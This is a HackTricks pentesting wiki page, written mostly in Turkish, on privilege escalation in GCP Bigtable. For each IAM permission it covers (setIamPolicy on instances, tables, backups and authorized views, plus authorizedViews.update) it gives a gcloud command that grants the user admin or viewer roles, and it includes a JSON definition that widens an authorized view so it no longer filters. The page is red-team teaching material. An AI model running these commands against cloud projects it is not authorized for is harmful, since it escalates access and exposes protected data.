GCP - Bigtable Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Bigtable

Bigtable hakkında daha fazla bilgi için bakın:

GCP - Bigtable Enum

bigtable.instances.setIamPolicy

İzinler: bigtable.instances.setIamPolicy (ve genellikle mevcut binding’leri okumak için bigtable.instances.getIamPolicy).

Örnek IAM politikasına sahip olmak, kendinize roles/bigtable.admin (veya herhangi bir özel rol) verme imkanı sağlar; bu, örnekteki her küme, tablo, yedekleme ve yetkili görünüme yayılır.

Örnekte kendinize bigtable.admin rolü verin ```bash gcloud bigtable instances add-iam-policy-binding \ --member='user:' \ --role='roles/bigtable.admin' ```

Tip

Mevcut bindings’leri listeleyemiyorsanız, kendinizi dahil ettiğiniz sürece yeni bir policy belgesi hazırlayıp gcloud bigtable instances set-iam-policy ile gönderebilirsiniz.

Bu izne sahip olduktan sonra, Bigtable izinlerini kötüye kullanmanın daha fazla yolu için Bigtable Post Exploitation section tekniklerine bakın.

bigtable.tables.setIamPolicy

İzinler: bigtable.tables.setIamPolicy (isteğe bağlı olarak bigtable.tables.getIamPolicy).

Instance politikaları kilitlenmiş olabilirken, bireysel tablolar devredilmiş olabilir. Tablo IAM’ını düzenleyebiliyorsanız, diğer iş yüklerine dokunmadan kendinizi hedef veri kümesinin sahibi olarak yükseltebilirsiniz.

Tablo üzerinde kendinize bigtable.admin rolü verin ```bash gcloud bigtable tables add-iam-policy-binding \ --instance= \ --member='user:' \ --role='roles/bigtable.admin' ```

Bu izne sahip olduktan sonra, Bigtable izinlerini kötüye kullanmanın diğer yolları için Bigtable Post Exploitation section bölümündeki teknikleri kontrol edin.

bigtable.backups.setIamPolicy

İzinler: bigtable.backups.setIamPolicy

Yedekler, kontrol ettiğiniz herhangi bir projedeki herhangi bir instance’a geri yüklenebilir. Önce kimliğinize yedek için erişim verin, sonra bunu Admin/Owner rollerine sahip olduğunuz bir sandbox içine geri yükleyin.

Eğer bigtable.backups.setIamPolicy iznine sahipseniz, kendinize bigtable.backups.restore iznini vererek eski yedekleri geri yükleyebilir ve hassas bilgilere erişmeyi deneyebilirsiniz.

Take ownership of backup snapshot ```bash # Take ownership of the snapshot gcloud bigtable backups add-iam-policy-binding \ --instance= --cluster= \ --member='user:' \ --role='roles/bigtable.admin' ```

Yedeği nasıl geri yükleyeceğinizi görmek için Bigtable Post Exploitation section içindeki bu izin kontrolünü yapın.

Authorized view’i güncelle

İzinler: bigtable.authorizedViews.update

Authorized Views satırları/sütunları gizleyecek şekilde tasarlanmıştır. Bunları değiştirmek veya silmek, savunucuların güvendiği ince taneli koruyucu önlemleri ortadan kaldırır.

Erişimi genişletmek için authorized view'ü güncelle ```bash # Broaden the subset by uploading a permissive definition gcloud bigtable authorized-views update \ --instance= --table= \ --definition-file=/tmp/permissive-view.json --ignore-warnings

Json example not filtering any row or column

cat <<‘EOF’ > /tmp/permissive-view.json { “subsetView”: { “rowPrefixes”: [“”], “familySubsets”: { “”: { “qualifierPrefixes”: [“”] } } } } EOF

Describe the authorized view to get a family name

gcloud bigtable authorized-views describe
–instance= –table=

</details>

Bu izne sahip olduktan sonra, Authorized View'den nasıl okunacağını görmek için [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) bölümünü kontrol edin.

### `bigtable.authorizedViews.setIamPolicy`

**İzinler:**  `bigtable.authorizedViews.setIamPolicy`.

Bu izne sahip bir saldırgan kendisine Authorized View erişimi verebilir; bu görünüm, aksi takdirde erişimi olmayan hassas veriler içerebilir.

<details><summary>Kendinize Authorized View erişimi verin</summary>
```bash
# Give more permissions over an existing view
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.viewer'

Bu izin kontrolünü Bigtable Post Exploitation section bölümünde yaptıktan sonra, yetkilendirilmiş bir görünümden nasıl okunacağını görmek için bakın.

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin